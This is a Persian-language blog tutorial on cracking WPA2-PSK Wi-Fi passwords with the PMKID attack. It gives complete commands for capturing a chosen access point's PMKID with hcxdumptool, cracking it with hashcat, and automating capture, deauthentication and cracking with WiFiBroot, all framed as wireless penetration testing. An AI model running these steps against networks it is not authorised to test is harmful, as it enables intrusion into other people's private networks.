سایبریت

کرک WPA2-PSK وایرلس با حمله PMKID

در مقاله کرک WPA2-PSK توضیح دادیم که برای دریافت کلید PSK نیاز داریم هندشیک 4 طرفه بین کلاینت و AP را دریافت کنیم که مستلزم آن بود که منتظر بمانیم تا کلاینت به AP متصل شود یا اگر کلاینت قبلاً متصل شده بود، او را از AP با حمله Deauthentication جدا کنیم و منتظر بمانیم تا دوباره وصل شود. این کار در فارنزیک ریسک بزرگی محسوب می‌شود، زیرا جدا کردن کلاینت از AP یک حمله تهاجمی و قابل شناسایی سیستم‌های IDS است. چه می شد اگر بتوانیم از مرحله گرفتن هندشیک عبور کنیم تا کلید هش شده را مستقیماً از AP دریافت کنیم. این دقیقاً همان حمله PMKID است!

این روش جدید در آگوست 2018 توسط محققان امنیتی در hashcat ساخته شده است. آنها در حال انجام تحقیق در مورد هک وای فای با ابزارهای موجود در مخزن hcxtools بودند که چیز جالبی پیدا کردند. آنها دریافتند که می توانند بدون اتصال کلاینت به AP، مستقیماً اطلاعاتی را از AP بگیرند که شامل PSK است. این حمله هنگام جستجوی راه های جدید برای حمله به استاندارد جدید امنیتی WPA3 به طور تصادفی کشف شد و تنها با یک فریم EAPOL انجام می شود.

فریم eapol - کرک WPA2-PSK وایرلس با حمله PMKID

بیایید ببینیم که این ابزار چگونه کار می کند و از آن در تست نفوذ وایرلس استفاده کنیم.

مرحله 1: نصب ابزارهای موردنیاز

ابزارهای مورد نیاز ما برای حمله PMKID تا این لحظه در مخازن کالی تعبیه نشده است. اما می توانیم آنها را از github دانلود کنیم. ابزار hcxtools را دانلود و نصب کنید:

git clone https://github.com/ZerBea/hcxtools.git
apt install libpcap-dev libcurl4-openssl-dev libssl-dev
cd hcxtools
make
make install

در یک ترمینال جدید ابزار hcxdumptool را نصب کنید:

git clone https://github.com/ZerBea/hcxdumptool.git
cd hcxdumptool
make
make install

مرحله 2: شنود ترافیک محیط

برای پیدا کردن اکسس پوینت هدف ابتدا باید با ابزار airmon-ng کارت وایرلس خود را درحالت مانیتور قرار دهیم:

airmon-ng start wlan0

در ادامه ترافیک محیط را با دستور زیر کپچر می‌کنیم. اکسس پوینت هدف ما wifi است.

airodump-ng wlan0mon

دستور airodump - کرک WPA2-PSK وایرلس با حمله PMKID

مرحله 3: استفاده از ابزار hcxdumptool برای گرفتن PMKID

گام بعدی استفاده از hcxdumptool برای ارتباط مستقیم با AP هدف و گرفتن PMKID حاوی PSK (رمز عبور) است.

hcxdumptool -i wlan0mon -o AP-PMKID --enable_status=1
  • ‎-i اینترفیس کارت وایرلس درحالت مانیتور
  • ‎-o نام فایل خروجی برای ذخیره PMKID

بعد از اجرای دستور صبور باشید تا تمام PMKID اکسس پوینت‌های محیط دریافت شوند.

شما احتمالاً نمی خواهید تمام PMKID های موجود در محیط را بدست آورید، بلکه می‌خواهید PMKID هدف موردنظر را دریافت کنید. برای این کار فیلتر BSSID هدف را به دستور اضافه می‌کنیم. برای انجام این کار، شما باید یک فایل متنی با مقدار BSSID (مک آدرس) هدف ایجاد کنید. توجه کنید که نباید شامل دو نقطه یا ویرگول باشد:

echo 6464B3BEBE07 > targetBSSID

در ادامه باید فیلتر های موردنیاز برای یک AP بخصوص را به دستور اضافه کنیم:

hcxdumptool -i wlan0mon -o wifi-PMKID --enable_status=1 --filterlist_ap=targetBSSID --filtermode=2

با این دستور بعد از مدتی مشاهده می‌کنید که hcxdumptool در خروجی ترمینال PMKID هدف را دریافت می‌کند و در فایل “wifi-PMKID” ذخیره می‌کند!

مطالعه کنید
ساخت اکسس پوینت Evil Twin

مرحله 4: تمام داده های اضافی موجود در PMKID را حذف کنید

PMKID حاوی هش PSK است، اما همچنین بسیاری از اطلاعات دیگر را که ما به آنها نیاز نداریم شامل می‌شود. قبل از شروع به کرک هش، باید این داده ها را حذف کنیم و فقط هش PSK را باقی گذاریم. برای انجام این کار، ما از ابزار hcxpcapngtool استفاده می‌کنیم.

cd hcxtools
hcxpcapngtool wifi-PMKID -o output.txt

با دستور بالا هش PSK را در فایل output.txt قرار می دهیم.

مرحله 5: کرک هش

مرحله آخر کرک هش است. ما می توانیم این کار را با هر یک از ابزارهای کرک رمز عبور از جمله john، hashcat و بسیاری دیگر انجام دهیم. در اینجا من از ابزار hashcat برای کرک کردن آن به همراه دیکشنری خودم استفاده می کنم.

hashcat -m 22000 output.txt dict.txt
  • ‎-m 22000 مشخص کردن نوع هش  WPA-PBKDF2-PMKID+EAPOL
  • output.txt فایل حاوی هش PSK
  • dict.txt فایل دیکشنری پسورد لیست

اجرای حمله PMKID با ابزار WiFiBroot

WiFiBroot یک ابزار متن باز کرک وای فای است که توانایی هک شبکه های Wi-Fi مبتنی بر WPA/WPA2 را دارد. این یک ابزار چند منظوره است و می تواند برای انجام تعدادی از حملات به یک شبکه وایرلس مورد استفاده قرار گیرد. این ابزار را می‌توانید از github دانلود کنید.

این ابزار توانایی شنود ترافیک محیط، حمله Deauthentication، گرفتن هندشیک، حمله PMKID و کرک را دارا است، بنابراین تمام حملات در مدت زمان بسیار کوتاهی انجام می شوند.

برای نصب ابزار WiFiBroot دستورات زیر را اجرا کنید:

pip3 install scapy==2.4.0
git clone https://github.com/hash3liZer/WiFiBroot.git

برای مشاهده گزینه‌های ابزار دستور زیر را اجرا کنید:

cd WiFiBroot
python2.7 wifibroot.py -h

Syntax:
$ python wifibroot.py [--mode [modes]] [--options]
$ python wifibroot.py --mode 2 -i wlan1mon --verbose -d /path/to/list -w pmkid.txt

Modes:
# Description Value
01 Capture 4-way handshake and crack MIC code 1
02 Captures and Crack PMKID (PMKID Attack) 2
03 Perform Manual cracking on available
capture types. See --list-types 3
04 Deauthentication. Disconnect two stations
and jam the traffic. 4

Use -h, --help after -m, --mode to get help on modes.

هر Mode و گزینه، فیلترهای خاص خود را دارد. به مثال زیر مراجعه کنید:

مد 1، حالت handshake:

python2.7 wifibroot.py --mode 1 -h

Mode:
01 Capture 4-way handshake and crack MIC code 1

Options:
Args Description Required
-h, --help Show this help manual NO
-i, --interface Monitor Interface to use YES
-v, --verbose Turn off Verbose mode. NO
-t, --timeout Time Delay between two deauth
requests. NO
-d, --dictionary Dictionary for Cracking YES
-w, --write Write Captured handshake to
a seperate file NO
--deauth Number of Deauthentication
frames to send NO

Filters:
-e, --essid ESSID of listening network
-b, --bssid BSSID of target network.
-c, --channel Channel interface should be listening
on. Default: ALL

مد 2، حمله PMKID:

python2.7 wifibroot.py --mode 2 -h

Mode:
02 Captures and Crack PMKID (PMKID Attack) 1

Options:
Args Description Required
-h, --help Show this help manual NO
-i, --interface Monitor Interface to use YES
-v, --verbose Turn off Verbose mode. NO
-d, --dictionary Dictionary for Cracking YES
-w, --write Write Captured handshake to
a seperate file NO

Filters:
-e, --essid ESSID of listening network
-b, --bssid BSSID of target network.
-c, --channel Channel interface should be listening
on. Default: ALL

برای مثال به‌منظور گرفتن هندشیک و کرک آن دستور زیر را وارد کنید:

airmon-ng start wlan0
python2.7 wifibroot.py --mode 1 -i wlan0mon --verbose -d dict.txt -w output.cap

برای حمله PMKID و کرک آن دستور زیر را وارد کنید:

python2.7 wifibroot.py --mode 2 -i wlan0mon --verbose -d dict.txt -w output.txt

و تنها برای کرک آفلاین PMKID می‌توانید دستور زیر را اجرا کنید:

python2.7 wifibroot.py --mode 3 --type pmkid --verbose -d dict.txt --read output.txt

به این ترتیب می‌توانیم با ابزار WiFiBroot کلید PSK را بدست می‌آوریم و حمله را به صورت خودکار اجرا کنیم.

مطالعه کنید
حمله Deauthentication به شبکه وای فای

توضیحات تکمیلی

حمله PMKID در آگوست 2018 منتشر شد و یک روش جدید برای حمله به اکسس پوینت با رمزگذاری WPA2-PSK به ما ارائه می دهد. زیبایی این حمله این است که نیازی نداریم منتظر بمانیم تا کلاینت با اکسس پوینت خودش ارتباط برقرار کند یا او را از AP جدا کنیم. این کار موفقیت دریافت هندشیک را به میزان قابل توجهی افزایش می‌دهد. این حمله در 90 درصد موارد برروی روترها قابل اکسپلویت است.

با استفاده از PMKID می توانیم کلید PSK را که در بسته اول هندشیک 4 طرفه قرار دارد، دریافت کنیم. اولین بسته هندشیک 4 طرفه معمولا توسط AP ارسال می شود که شامل چند کلید تصادفی برای رمزگذاری داده ها و همچنین شامل کلید PMKID مورد نیاز ما است. کلاینت (کاربر، هکر) فقط باید با AP ارتباط برقرار کند تا اولین پیام EAPOL برای او ارسال شود. بنابراین هکر با شنود PMKID (Pairwise Master Key Identifier) و دریافت آن می‌تواند فرایند کرک کلید را آغاز کند.

برای اطلاعات بیشتر در مورد هک وای فای و تست نفوذ آن، به سری وایرلس مراجعه کنید، همچنین اگر علاقه‌مند به تکنیک‌های تست نفوذ وایرلس هستید کتاب تست نفوذ وایرلس با کالی لینوکس را تهیه کنید.

کتاب تست نفوذ وایرلس با کالی لینوکس

دیدگاه‌ها (0)

  • بخش دیدگاه محیط تعامل میان ما و شما است
  • سوالات، پیشنهادات و انتقادات خود را با ما در میان بگذارید
  • شما در بیان نظر خود آزاد هستید و تمامی کامنت ها منتشر می‌شوند